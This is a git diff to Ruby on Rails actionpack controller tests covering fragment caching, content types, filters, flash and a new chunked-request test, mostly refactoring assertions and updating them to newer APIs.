@@ -232,7 +309,7 @@ def test_default_url_options_are_used_in_non_positional_parameters
           resources :descriptions
         end
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -240,16 +317,16 @@ def test_default_url_options_are_used_in_non_positional_parameters
       get :from_view, params: { route: "description_path(1)" }
 
       assert_equal "/en/descriptions/1", @response.body
-      assert_equal "/en/descriptions", @controller.send(:descriptions_path)
-      assert_equal "/pl/descriptions", @controller.send(:descriptions_path, "pl")
-      assert_equal "/pl/descriptions", @controller.send(:descriptions_path, locale: "pl")
-      assert_equal "/pl/descriptions.xml", @controller.send(:descriptions_path, "pl", "xml")
-      assert_equal "/en/descriptions.xml", @controller.send(:descriptions_path, format: "xml")
-      assert_equal "/en/descriptions/1", @controller.send(:description_path, 1)
-      assert_equal "/pl/descriptions/1", @controller.send(:description_path, "pl", 1)
-      assert_equal "/pl/descriptions/1", @controller.send(:description_path, 1, locale: "pl")
-      assert_equal "/pl/descriptions/1.xml", @controller.send(:description_path, "pl", 1, "xml")
-      assert_equal "/en/descriptions/1.xml", @controller.send(:description_path, 1, format: "xml")
+      assert_equal "/en/descriptions", @controller.descriptions_path
+      assert_equal "/pl/descriptions", @controller.descriptions_path("pl")
+      assert_equal "/pl/descriptions", @controller.descriptions_path(locale: "pl")
+      assert_equal "/pl/descriptions.xml", @controller.descriptions_path("pl", "xml")
+      assert_equal "/en/descriptions.xml", @controller.descriptions_path(format: "xml")
+      assert_equal "/en/descriptions/1", @controller.description_path(1)
+      assert_equal "/pl/descriptions/1", @controller.description_path("pl", 1)
+      assert_equal "/pl/descriptions/1", @controller.description_path(1, locale: "pl")
+      assert_equal "/pl/descriptions/1.xml", @controller.description_path("pl", 1, "xml")
+      assert_equal "/en/descriptions/1.xml", @controller.description_path(1, format: "xml")
     end
   end
 end
@@ -288,7 +365,19 @@ def test_named_routes_with_path_without_doing_a_request_first
         resources :things
       end
 
-      assert_equal "/things", @controller.send(:things_path)
+      assert_equal "/things", @controller.things_path
     end
   end
 end
+
+class BaseTest < ActiveSupport::TestCase
+  def test_included_modules_are_tracked
+    base_content = File.read("#{__dir__}/../../lib/action_controller/base.rb")
+    included_modules = base_content.scan(/(?<=include )[A-Z].*/)
+
+    assert_equal(
+      ActionController::Base::MODULES.map { |m| m.to_s.delete_prefix("ActionController::") },
+      included_modules
+    )
+  end
+end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index fa8d9dc09a97e..3540de0942211 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "fileutils"
 require "abstract_unit"
 require "lib/controller/fake_models"
 
 CACHE_DIR = "test_cache"
 # Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
-FILE_STORE_PATH = File.join(File.dirname(__FILE__), "/../temp/", CACHE_DIR)
+FILE_STORE_PATH = File.join(__dir__, "../temp/", CACHE_DIR)
 
 class FragmentCachingMetalTestController < ActionController::Metal
   abstract!
@@ -26,10 +28,6 @@ def setup
     @controller.request = @request
     @controller.response = @response
   end
-
-  def test_fragment_cache_key
-    assert_equal "views/what a key", @controller.fragment_cache_key("what a key")
-  end
 end
 
 class CachingController < ActionController::Base
@@ -43,6 +41,8 @@ def some_action; end
 end
 
 class FragmentCachingTest < ActionController::TestCase
+  ModelWithKeyAndVersion = Struct.new(:cache_key, :cache_version)
+
   def setup
     super
     @store = ActiveSupport::Cache::MemoryStore.new
@@ -53,12 +53,17 @@ def setup
     @controller.params = @params
     @controller.request = @request
     @controller.response = @response
+
+    @m1v1 = ModelWithKeyAndVersion.new("model/1", "1")
+    @m1v2 = ModelWithKeyAndVersion.new("model/1", "2")
+    @m2v1 = ModelWithKeyAndVersion.new("model/2", "1")
+    @m2v2 = ModelWithKeyAndVersion.new("model/2", "2")
   end
 
-  def test_fragment_cache_key
-    assert_equal "views/what a key", @controller.fragment_cache_key("what a key")
-    assert_equal "views/test.host/fragment_caching_test/some_action",
-                  @controller.fragment_cache_key(controller: "fragment_caching_test", action: "some_action")
+  def test_combined_fragment_cache_key
+    assert_equal [ :views, "what a key" ], @controller.combined_fragment_cache_key("what a key")
+    assert_equal [ :views, "test.host/fragment_caching_test/some_action" ],
+      @controller.combined_fragment_cache_key(controller: "fragment_caching_test", action: "some_action")
   end
 
   def test_read_fragment_with_caching_enabled
@@ -72,17 +77,23 @@ def test_read_fragment_with_caching_disabled
     assert_nil @controller.read_fragment("name")
   end
 
+  def test_read_fragment_with_versioned_model
+    @controller.write_fragment([ "stuff", @m1v1 ], "hello")
+    assert_equal "hello", @controller.read_fragment([ "stuff", @m1v1 ])
+    assert_nil @controller.read_fragment([ "stuff", @m1v2 ])
+  end
+
   def test_fragment_exist_with_caching_enabled
     @store.write("views/name", "value")
     assert @controller.fragment_exist?("name")
-    assert !@controller.fragment_exist?("other_name")
+    assert_not @controller.fragment_exist?("other_name")
   end
 
   def test_fragment_exist_with_caching_disabled
     @controller.perform_caching = false
     @store.write("views/name", "value")
-    assert !@controller.fragment_exist?("name")
-    assert !@controller.fragment_exist?("other_name")
+    assert_not @controller.fragment_exist?("name")
+    assert_not @controller.fragment_exist?("other_name")
   end
 
   def test_write_fragment_with_caching_enabled
@@ -125,7 +136,7 @@ def test_fragment_for
     buffer = "generated till now -> ".html_safe
     buffer << view_context.send(:fragment_for, "expensive") { fragment_computed = true }
 
-    assert !fragment_computed
+    assert_not fragment_computed
     assert_equal "generated till now -> fragment content", buffer
   end
 
@@ -140,7 +151,7 @@ def test_html_safety
 
     html_safe = @controller.read_fragment("name")
     assert_equal content, html_safe
-    assert html_safe.html_safe?
+    assert_predicate html_safe, :html_safe?
   end
 end
 
@@ -154,6 +165,9 @@ def html_fragment_cached_with_partial
     end
   end
 
+  def xml_fragment_cached_with_html_partial
+  end
+
   def formatted_fragment_cached
     respond_to do |format|
       format.html
@@ -194,11 +208,11 @@ def test_fragment_caching
 Hello
 This bit's fragment cached
 Ciao
-CACHED
+    CACHED
     assert_equal expected_body, @response.body
 
     assert_equal "This bit's fragment cached",
-      @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached")}")
+      @store.read("views/functional_caching/fragment_cached:#{template_digest("functional_caching/fragment_cached", "html")}/fragment")
   end
 
   def test_fragment_caching_in_partials
@@ -207,7 +221,7 @@ def test_fragment_caching_in_partials
     assert_match(/Old fragment caching in a partial/, @response.body)
 
     assert_match("Old fragment caching in a partial",
-      @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial")}"))
+      @store.read("views/functional_caching/_partial:#{template_digest("functional_caching/_partial", "html")}/test.host/functional_caching/html_fragment_cached_with_partial"))
   end
 
   def test_skipping_fragment_cache_digesting
@@ -237,68 +251,66 @@ def test_render_inline_before_fragment_caching
     assert_match(/Some inline content/, @response.body)
     assert_match(/Some cached content/, @response.body)
     assert_match("Some cached content",
-      @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached")}"))
+      @store.read("views/functional_caching/inline_fragment_cached:#{template_digest("functional_caching/inline_fragment_cached", "html")}/test.host/functional_caching/inline_fragment_cached"))
   end
 
   def test_fragment_cache_instrumentation
-    payload = nil
-
-    subscriber = proc do |*args|
-      event = ActiveSupport::Notifications::Event.new(*args)
-      payload = event.payload
-    end
-
-    ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_controller") do
+    assert_notification("read_fragment.action_controller", controller: "functional_caching", action: "inline_fragment_cached") do
       get :inline_fragment_cached
     end
-
-    assert_equal "functional_caching", payload[:controller]
-    assert_equal "inline_fragment_cached", payload[:action]
   end
 
   def test_html_formatted_fragment_caching
-    get :formatted_fragment_cached, format: "html"
+    format = "html"
+    get :formatted_fragment_cached, format: format
     assert_response :success
     expected_body = "<body>\n<p>ERB</p>\n</body>\n"
 
     assert_equal expected_body, @response.body
 
     assert_equal "<p>ERB</p>",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+      @store.read("views/functional_caching/formatted_fragment_cached:#{template_digest("functional_caching/formatted_fragment_cached", format)}/fragment")
   end
 
   def test_xml_formatted_fragment_caching
-    get :formatted_fragment_cached, format: "xml"
+    format = "xml"
+    get :formatted_fragment_cached, format: format
     assert_response :success
     expected_body = "<body>\n  <p>Builder</p>\n</body>\n"
 
     assert_equal expected_body, @response.body
 
     assert_equal "  <p>Builder</p>\n",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+      @store.read("views/functional_caching/formatted_fragment_cached:#{template_digest("functional_caching/formatted_fragment_cached", format)}/fragment")
   end
 
   def test_fragment_caching_with_variant
-    get :formatted_fragment_cached_with_variant, format: "html", params: { v: :phone }
+    format = "html"
+    get :formatted_fragment_cached_with_variant, format: format, params: { v: :phone }
     assert_response :success
     expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
 
     assert_equal expected_body, @response.body
 
     assert_equal "<p>PHONE</p>",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached_with_variant/#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}")
+      @store.read("views/functional_caching/formatted_fragment_cached_with_variant:#{template_digest("functional_caching/formatted_fragment_cached_with_variant", format)}/fragment")
+  end
+
+  def test_fragment_caching_with_html_partials_in_xml
+    get :xml_fragment_cached_with_html_partial, format: "*/*"
+    assert_response :success
   end
 
   private
-    def template_digest(name)
-      ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
+    def template_digest(name, format)
+      ActionView::Digestor.digest(name: name, format: format, finder: @controller.lookup_context)
     end
 end
 
 class CacheHelperOutputBufferTest < ActionController::TestCase
   class MockController
     def read_fragment(name, options)
-      return false
+      false
     end
 
     def write_fragment(name, fragment, options)
@@ -314,39 +326,16 @@ def test_output_buffer
     output_buffer = ActionView::OutputBuffer.new
     controller = MockController.new
     cache_helper = Class.new do
-      def self.controller; end;
-      def self.output_buffer; end;
-      def self.output_buffer=; end;
-    end
-    cache_helper.extend(ActionView::Helpers::CacheHelper)
-
-    cache_helper.stub :controller, controller do
-      cache_helper.stub :output_buffer, output_buffer do
-        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
-          assert_nothing_raised do
-            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
-          end
-        end
-      end
-    end
-  end
-
-  def test_safe_buffer
-    output_buffer = ActiveSupport::SafeBuffer.new
-    controller = MockController.new
-    cache_helper = Class.new do
-      def self.controller; end;
-      def self.output_buffer; end;
-      def self.output_buffer=; end;
+      def self.controller; end
+      def self.output_buffer; end
+      def self.output_buffer=; end
     end
     cache_helper.extend(ActionView::Helpers::CacheHelper)
 
     cache_helper.stub :controller, controller do
       cache_helper.stub :output_buffer, output_buffer do
-        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
-          assert_nothing_raised do
-            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
-          end
+        assert_nothing_raised do
+          cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
         end
       end
     end
@@ -363,7 +352,7 @@ class HasDependenciesController < ActionController::Base
   end
 
   def test_view_cache_dependencies_are_empty_by_default
-    assert NoDependenciesController.new.view_cache_dependencies.empty?
+    assert_empty NoDependenciesController.new.view_cache_dependencies
   end
 
   def test_view_cache_dependencies_are_listed_in_declaration_order
@@ -412,7 +401,7 @@ def setup
   def test_collection_fetches_cached_views
     get :index
     assert_equal 1, @controller.partial_rendered_times
-    assert_customer_cached "david/1", "david, 1"
+    assert_match "david, 1", ActionView::PartialRenderer.collection_cache.read("views/customers/_customer:7c228ab609f0baf0b1f2367469210937/david/1")
 
     get :index
     assert_equal 1, @controller.partial_rendered_times
@@ -425,7 +414,7 @@ def test_preserves_order_when_reading_from_cache_plus_rendering
 
     get :index_ordered
     assert_equal 3, @controller.partial_rendered_times
-    assert_select ":root", "david, 1\n  david, 2\n  david, 3"
+    assert_select ":root", html: "<body><p>david, 1\n  david, 2\n  david, 3\n\n</p></body>"
   end
 
   def test_explicit_render_call_with_options
@@ -444,14 +433,8 @@ def test_caching_works_with_beginning_comment
 
   def test_caching_with_callable_cache_key
     get :index_with_callable_cache_key
-    assert_customer_cached "cached_david", "david, 1"
+    assert_match "david, 1", ActionView::PartialRenderer.collection_cache.read("views/customers/_customer:7c228ab609f0baf0b1f2367469210937/cached_david")
   end
-
-  private
-    def assert_customer_cached(key, content)
-      assert_match content,
-        ActionView::PartialRenderer.collection_cache.read("views/#{key}/7c228ab609f0baf0b1f2367469210937")
-    end
 end
 
 class FragmentCacheKeyTestController < CachingController
@@ -470,11 +453,21 @@ def setup
     @controller.cache_store = @store
   end
 
-  def test_fragment_cache_key
+  def test_combined_fragment_cache_key
     @controller.account_id = "123"
-    assert_equal "views/v1/123/what a key", @controller.fragment_cache_key("what a key")
+    assert_equal [ :views, "v1", "123", "what a key" ], @controller.combined_fragment_cache_key("what a key")
 
     @controller.account_id = nil
-    assert_equal "views/v1//what a key", @controller.fragment_cache_key("what a key")
+    assert_equal [ :views, "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+  end
+
+  def test_combined_fragment_cache_key_with_envs
+    ENV["RAILS_APP_VERSION"] = "55"
+    assert_equal [ :views, "55", "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+
+    ENV["RAILS_CACHE_ID"] = "66"
+    assert_equal [ :views, "66", "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+  ensure
+    ENV["RAILS_CACHE_ID"] = ENV["RAILS_APP_VERSION"] = nil
   end
 end
diff --git a/actionpack/test/controller/chunked_test.rb b/actionpack/test/controller/chunked_test.rb
new file mode 100644
index 0000000000000..3402daa5157c1
--- /dev/null
+++ b/actionpack/test/controller/chunked_test.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require "stringio"
+require "abstract_unit"
+
+class ChunkedTest < ActionDispatch::IntegrationTest
+  class ChunkedController < ApplicationController
+    def chunk
+      render json: {
+        raw_post: request.raw_post,
+        content_length: request.content_length
+      }
+    end
+  end
+
+  # The TestInput class prevents Rack::MockRequest from adding a Content-Length when the method `size` is defined
+  class TestInput < StringIO
+    undef_method :size
+  end
+
+  test "parses request raw_post correctly when request has Transfer-Encoding header without a Content-Length value" do
+    @app = self.class.build_app
+    @app.routes.draw do
+      post "chunked", to: ChunkedController.action(:chunk)
+    end
+
+    post "/chunked", params: TestInput.new("foo=bar"), headers: { "Transfer-Encoding" => "gzip, chunked;foo=bar" }
+
+    assert_equal 7, response.parsed_body["content_length"]
+    assert_equal "foo=bar", response.parsed_body["raw_post"]
+  end
+end
diff --git a/actionpack/test/controller/conditional_get_directives_test.rb b/actionpack/test/controller/conditional_get_directives_test.rb
new file mode 100644
index 0000000000000..5deae8cf13e40
--- /dev/null
+++ b/actionpack/test/controller/conditional_get_directives_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ConditionalGetDirectivesController < ActionController::Base
+  def must_understand_action
+    must_understand
+    render plain: "using must-understand directive"
+  end
+
+  def cache_control_with_must_understand
+    fresh_when etag: "123", cache_control: { must_understand: true }
+    render plain: "with must-understand via cache_control" unless performed?
+  end
+
+  def must_understand_without_no_store
+    response.cache_control[:no_cache] = true
+    response.cache_control[:must_understand] = true
+    render plain: "no-cache with must-understand"
+  end
+end
+
+class ConditionalGetDirectivesTest < ActionController::TestCase
+  tests ConditionalGetDirectivesController
+
+  def test_must_understand
+    get :must_understand_action
+    assert_response :success
+    assert_includes @response.headers["Cache-Control"], "must-understand"
+  end
+
+  def test_cache_control_with_must_understand
+    get :cache_control_with_must_understand
+    assert_response :success
+    assert_not_includes @response.headers["Cache-Control"], "must-understand"
+  end
+
+  def test_must_understand_without_no_store
+    get :must_understand_without_no_store
+    assert_response :success
+    assert_not_includes @response.headers["Cache-Control"], "must-understand"
+    assert_includes @response.headers["Cache-Control"], "no-cache"
+  end
+end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
index fcb2632b80e8c..8df6edfdc34a2 100644
--- a/actionpack/test/controller/content_type_test.rb
+++ b/actionpack/test/controller/content_type_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class OldContentTypeController < ActionController::Base
@@ -48,6 +50,16 @@ def render_default_content_types_for_respond_to
       format.rss  { render body: "hello world!", content_type: Mime[:xml] }
     end
   end
+
+  def render_content_type_with_charset
+    response.content_type = "text/html; fragment; charset=utf-16"
+    render body: "hello world!"
+  end
+
+  def render_content_type_with_symbol
+    response.content_type = :rss
+    render body: "hello world!"
+  end
 end
 
 class ContentTypeTest < ActionController::TestCase
@@ -64,73 +76,84 @@ def setup
   def test_render_defaults
     get :render_defaults
     assert_equal "utf-8", @response.charset
-    assert_equal Mime[:text], @response.content_type
+    assert_equal Mime[:text], @response.media_type
   end
 
   def test_render_changed_charset_default
     with_default_charset "utf-16" do
       get :render_defaults
       assert_equal "utf-16", @response.charset
-      assert_equal Mime[:text], @response.content_type
+      assert_equal Mime[:text], @response.media_type
     end
   end
 
   # :ported:
   def test_content_type_from_body
     get :render_content_type_from_body
-    assert_equal Mime[:rss], @response.content_type
+    assert_equal Mime[:rss], @response.media_type
     assert_equal "utf-8", @response.charset
   end
 
   # :ported:
   def test_content_type_from_render
     get :render_content_type_from_render
-    assert_equal Mime[:rss], @response.content_type
+    assert_equal Mime[:rss], @response.media_type
     assert_equal "utf-8", @response.charset
   end
 
   # :ported:
   def test_charset_from_body
     get :render_charset_from_body
-    assert_equal Mime[:text], @response.content_type
+    assert_equal Mime[:text], @response.media_type
     assert_equal "utf-16", @response.charset
   end
 
   # :ported:
   def test_nil_charset_from_body
     get :render_nil_charset_from_body
-    assert_equal Mime[:text], @response.content_type
+    assert_equal Mime[:text], @response.media_type
     assert_equal "utf-8", @response.charset, @response.headers.inspect
   end
 
   def test_nil_default_for_erb
     with_default_charset nil do
       get :render_default_for_erb
-      assert_equal Mime[:html], @response.content_type
+      assert_equal Mime[:html], @response.media_type
       assert_nil @response.charset, @response.headers.inspect
     end
   end
 
   def test_default_for_erb
     get :render_default_for_erb
-    assert_equal Mime[:html], @response.content_type
+    assert_equal Mime[:html], @response.media_type
     assert_equal "utf-8", @response.charset
   end
 
   def test_default_for_builder
     get :render_default_for_builder
-    assert_equal Mime[:xml], @response.content_type
+    assert_equal Mime[:xml], @response.media_type
     assert_equal "utf-8", @response.charset
   end
 
   def test_change_for_builder
     get :render_change_for_builder
-    assert_equal Mime[:html], @response.content_type
+    assert_equal Mime[:html], @response.media_type
     assert_equal "utf-8", @response.charset
   end
 
-  private
+  def test_content_type_with_charset
+    get :render_content_type_with_charset
+    assert_equal "text/html; fragment", @response.media_type
+    assert_equal "utf-16", @response.charset
+  end
 
+  def test_content_type_with_symbol
+    get :render_content_type_with_symbol
+    assert_equal Mime[:rss], @response.media_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  private
     def with_default_charset(charset)
       old_default_charset = ActionDispatch::Response.default_charset
       ActionDispatch::Response.default_charset = charset
@@ -146,22 +169,22 @@ class AcceptBasedContentTypeTest < ActionController::TestCase
   def test_render_default_content_types_for_respond_to
     @request.accept = Mime[:html].to_s
     get :render_default_content_types_for_respond_to
-    assert_equal Mime[:html], @response.content_type
+    assert_equal Mime[:html], @response.media_type
 
     @request.accept = Mime[:js].to_s
     get :render_default_content_types_for_respond_to
-    assert_equal Mime[:js], @response.content_type
+    assert_equal Mime[:js], @response.media_type
   end
 
   def test_render_default_content_types_for_respond_to_with_template
     @request.accept = Mime[:xml].to_s
     get :render_default_content_types_for_respond_to
-    assert_equal Mime[:xml], @response.content_type
+    assert_equal Mime[:xml], @response.media_type
   end
 
   def test_render_default_content_types_for_respond_to_with_overwrite
     @request.accept = Mime[:rss].to_s
     get :render_default_content_types_for_respond_to
-    assert_equal Mime[:xml], @response.content_type
+    assert_equal Mime[:xml], @response.media_type
   end
 end
diff --git a/actionpack/test/controller/default_url_options_with_before_action_test.rb b/actionpack/test/controller/default_url_options_with_before_action_test.rb
index e3fe7a64957a6..fc5b8288cdc72 100644
--- a/actionpack/test/controller/default_url_options_with_before_action_test.rb
+++ b/actionpack/test/controller/default_url_options_with_before_action_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ControllerWithBeforeActionAndDefaultUrlOptions < ActionController::Base
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index 5f1463cfa8cba..b0b12f002668f 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ActionController::Base
@@ -10,7 +12,7 @@ class << self
 
     def before_actions
       filters = _process_action_callbacks.select { |c| c.kind == :before }
-      filters.map!(&:raw_filter)
+      filters.map!(&:filter)
     end
   end
 end
@@ -92,7 +94,7 @@ class RenderingForPrependAfterActionController < RenderingController
 
     private
       def unreached_prepend_after_action
-        @ran_filter << "unreached_preprend_after_action_after_render"
+        @ran_filter << "unreached_prepend_after_action_after_render"
       end
   end
 
@@ -193,7 +195,7 @@ class ExceptConditionClassController < ConditionalFilterController
     before_action ConditionalClassFilter, except: :show_without_action
   end
 
-  class AnomolousYetValidConditionController < ConditionalFilterController
+  class AnomalousYetValidConditionController < ConditionalFilterController
     before_action(ConditionalClassFilter, :ensure_login, Proc.new { |c| c.instance_variable_set(:"@ran_proc_action1", true) }, except: :show_without_action) { |c| c.instance_variable_set(:"@ran_proc_action2", true) }
   end
 
@@ -308,7 +310,6 @@ class ConditionalParentOfConditionalSkippingController < ConditionalFilterContro
     after_action  :conditional_in_parent_after, only: [:show, :another_action]
 
     private
-
       def conditional_in_parent_before
         @ran_filter ||= []
         @ran_filter << "conditional_in_parent_before"
@@ -346,7 +347,7 @@ def self.before(controller)
   class AroundFilter
     def before(controller)
       @execution_log = "before"
-      controller.class.execution_log << " before aroundfilter " if controller.respond_to? :execution_log
+      controller.class.execution_log += " before aroundfilter " if controller.respond_to? :execution_log
       controller.instance_variable_set(:"@before_ran", true)
     end
 
@@ -392,11 +393,9 @@ class AroundFilterController < PrependingController
   end
 
   class BeforeAfterClassFilterController < PrependingController
-    begin
-      filter = AroundFilter.new
-      before_action filter
-      after_action filter
-    end
+    filter = AroundFilter.new
+    before_action filter
+    after_action filter
   end
 
   class MixedFilterController < PrependingController
@@ -455,6 +454,7 @@ class PrependingBeforeAndAfterController < ActionController::Base
     prepend_before_action :before_all
     prepend_after_action :after_all
     before_action :between_before_all_and_after_all
+    after_action :between_before_all_and_after_all
 
     def before_all
       @ran_filter ||= []
@@ -470,6 +470,7 @@ def between_before_all_and_after_all
       @ran_filter ||= []
       @ran_filter << "between_before_all_and_after_all"
     end
+
     def show
       render plain: "hello"
     end
@@ -504,7 +505,6 @@ def index
     end
 
     private
-
       def filter_one
         @filters ||= []
         @filters << "filter_one"
@@ -514,7 +514,7 @@ def action_two
         @filters << "action_two"
       end
 
-      def non_yielding_action
+      def non_yielding_action(&)
         @filters << "it didn't yield"
       end
 
@@ -528,7 +528,6 @@ class ImplicitActionsController < ActionController::Base
     before_action :find_except, except: :edit
 
     private
-
       def find_only
         @only = "Only"
       end
@@ -545,6 +544,31 @@ def test_non_yielding_around_actions_do_not_raise
     end
   end
 
+  def test_around_action_can_use_yield_inline_with_passed_action
+    controller = Class.new(ActionController::Base) do
+      around_action do |c, a|
+        c.values << "before"
+        a.call
+        c.values << "after"
+      end
+
+      def index
+        values << "action"
+        render inline: "index"
+      end
+
+      def values
+        @values ||= []
+      end
+    end.new
+
+    assert_nothing_raised do
+      test_process(controller, "index")
+    end
+
+    assert_equal ["before", "action", "after"], controller.values
+  end
+
   def test_after_actions_are_not_run_if_around_action_does_not_yield
     controller = NonYieldingAroundFilterController.new
     test_process(controller, "index")
@@ -585,13 +609,13 @@ def test_running_actions_with_class
   end
 
   def test_running_anomalous_yet_valid_condition_actions
-    test_process(AnomolousYetValidConditionController)
+    test_process(AnomalousYetValidConditionController)
     assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter)
     assert @controller.instance_variable_get(:@ran_class_action)
     assert @controller.instance_variable_get(:@ran_proc_action1)
     assert @controller.instance_variable_get(:@ran_proc_action2)
 
-    test_process(AnomolousYetValidConditionController, "show_without_action")
+    test_process(AnomalousYetValidConditionController, "show_without_action")
     assert_not @controller.instance_variable_defined?(:@ran_filter)
     assert_not @controller.instance_variable_defined?(:@ran_class_action)
     assert_not @controller.instance_variable_defined?(:@ran_proc_action1)
@@ -728,13 +752,13 @@ def test_before_action_redirects_breaks_actioning_chain_for_after_action
     assert_equal %w( before_action_redirects ), @controller.instance_variable_get(:@ran_filter)
   end
 
-  def test_before_action_rendering_breaks_actioning_chain_for_preprend_after_action
+  def test_before_action_rendering_breaks_actioning_chain_for_prepend_after_action
     test_process(RenderingForPrependAfterActionController)
     assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter)
     assert_not @controller.instance_variable_defined?(:@ran_action)
   end
 
-  def test_before_action_redirects_breaks_actioning_chain_for_preprend_after_action
+  def test_before_action_redirects_breaks_actioning_chain_for_prepend_after_action
     test_process(BeforeActionRedirectionForPrependAfterActionController)
     assert_response :redirect
     assert_equal "http://test.host/filter_test/before_action_redirection_for_prepend_after_action/target_of_redirection", redirect_to_url
@@ -763,7 +787,7 @@ def test_dynamic_dispatch
 
   def test_running_prepended_before_and_after_action
     test_process(PrependingBeforeAndAfterController)
-    assert_equal %w( before_all between_before_all_and_after_all after_all ), @controller.instance_variable_get(:@ran_filter)
+    assert_equal %w( before_all between_before_all_and_after_all between_before_all_and_after_all after_all ), @controller.instance_variable_get(:@ran_filter)
   end
 
   def test_skipping_and_limiting_controller
@@ -785,7 +809,7 @@ def test_conditional_skipping_of_actions
     assert_equal %w( ensure_login find_user ), @controller.instance_variable_get(:@ran_filter)
 
     test_process(ConditionalSkippingController, "login")
-    assert !@controller.instance_variable_defined?("@ran_after_action")
+    assert_not @controller.instance_variable_defined?("@ran_after_action")
     test_process(ConditionalSkippingController, "change_password")
     assert_equal %w( clean_up ), @controller.instance_variable_get("@ran_after_action")
   end
@@ -817,7 +841,7 @@ def test_a_rescuing_around_action
       response = test_process(RescuedController)
     end
 
-    assert response.successful?
+    assert_predicate response, :successful?
     assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body)
   end
 
@@ -884,7 +908,7 @@ def without_exception
       yield
 
       # Do stuff...
-      wtf += 1
+      wtf + 1
     end
 end
 
@@ -996,16 +1020,12 @@ def test_with_proc
   def test_nested_actions
     controller = ControllerWithNestedFilters
     assert_nothing_raised do
-      begin
-        test_process(controller, "raises_both")
-      rescue Before, After
-      end
+      test_process(controller, "raises_both")
+    rescue Before, After
     end
     assert_raise Before do
-      begin
-        test_process(controller, "raises_both")
-      rescue After
-      end
+      test_process(controller, "raises_both")
+    rescue After
     end
   end
 
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 45b598a5941bf..929d8a113034f 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -42,7 +44,7 @@ def test_delete
       @hash["foo"] = "bar"
       @hash.delete "foo"
 
-      assert !@hash.key?("foo")
+      assert_not @hash.key?("foo")
       assert_nil @hash["foo"]
     end
 
@@ -51,7 +53,7 @@ def test_to_hash
       assert_equal({ "foo" => "bar" }, @hash.to_hash)
 
       @hash.to_hash["zomg"] = "aaron"
-      assert !@hash.key?("zomg")
+      assert_not @hash.key?("zomg")
       assert_equal({ "foo" => "bar" }, @hash.to_hash)
     end
 
@@ -80,7 +82,7 @@ def test_from_session_value
 
     def test_from_session_value_on_json_serializer
       decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[\"farewell\"], \"flashes\":{\"greeting\":\"Hello\",\"farewell\":\"Goodbye\"}} }"
-      session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+      session = ActiveSupport::Messages::SerializerWithFallback[:json].load(decrypted_data)
       hash = Flash::FlashHash.from_session_value(session["flash"])
 
       assert_equal({ "greeting" => "Hello" }, hash.to_hash)
@@ -90,11 +92,11 @@ def test_from_session_value_on_json_serializer
     end
 
     def test_empty?
-      assert @hash.empty?
+      assert_empty @hash
       @hash["zomg"] = "bears"
-      assert !@hash.empty?
+      assert_not_empty @hash
       @hash.clear
-      assert @hash.empty?
+      assert_empty @hash
     end
 
     def test_each
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index dc641c19abda6..e7c3d99d93ae5 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "active_support/key_generator"
+require "active_support/messages/rotation_configuration"
 
 class FlashTest < ActionController::TestCase
   class TestController < ActionController::Base
@@ -187,27 +189,27 @@ def test_keep_and_discard_return_values
 
   def test_redirect_to_with_alert
     get :redirect_with_alert
-    assert_equal "Beware the nowheres!", @controller.send(:flash)[:alert]
+    assert_equal "Beware the nowheres!", @controller.flash[:alert]
   end
 
   def test_redirect_to_with_notice
